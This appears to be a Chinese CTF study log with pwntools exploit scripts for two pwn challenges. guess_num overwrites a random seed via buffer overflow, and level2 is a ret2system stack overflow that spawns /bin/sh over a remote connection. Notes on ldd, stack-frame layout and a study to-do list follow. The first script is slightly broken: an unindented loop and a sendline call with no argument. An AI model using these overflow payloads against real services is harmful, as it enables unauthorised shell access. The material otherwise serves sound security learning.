A
1.guess_num的脚本如下:
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import * #下面要用到c语言的函数。所以导入ctypes模块的全部方法
io=remote('111.198.29.45',49952)
b = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 'A'* (0x20) + p64(1) #将1覆盖随机数种子,该种子是两个字节
io.recvline()
io.sendline(payload)
b.srand(1) #取该种子为1
for i in range(10):
num = str(b.rand()%6+1)
io.recvline()
io.sendline
io.interactive()
b = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") 用ldd 文件名来查询这个文件需要链接的动态链接库及其路径。
kk@ubuntu:~/Desktop/black/GFSJ/guess_num$ ldd guess_num
linux-vdso.so.1 => (0x00007ffd3f5a0000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1e6c0b0000)
/lib64/ld-linux-x86-64.so.2 (0x00007f1e6c67d000)
主要思想就是利用溢出将覆盖随机数种子,因为只要随机数种子一样,产生的一系列随机数都是一样的。
2.level2的脚本如下:
# -*- coding:utf-8 -*-
from pwn import *
p = remote('111.198.19.45',59444)
elf=ELF('./level2') #以ELF文件读取文件
sys_addr=elf.symbols['system']#搜索函数用的是[ ]
sh_addr=elf.search('/bin/sh').next()#搜索字符串用的是()
payload='A'*(0x88+0x4)+p32(sys_addr)+p32(0xdeadbeef)+p32(sh_addr)#注意16进制计算
p.recvline()
p.sendline(payload)
p.interactive()
这个题的核心思想是通过栈溢出将原函数的返回地址覆盖成自己想要执行的函数,即创造一个伪栈帧(需要参数,返回地址,主调函数的基地址,局部变量)。上面描述的都要压在栈里面。主调函数的基地址和返回地址所占的字节都要根据程序是多少位写的来判断(32位的4字节,即一个寄存器。64位的,8字节)。
B
1.明天的任务:看3集32位小甲鱼的汇编,3集c语言,2两个pwn题目(弄懂),pe文件结构两集。看30页x86的汇编书。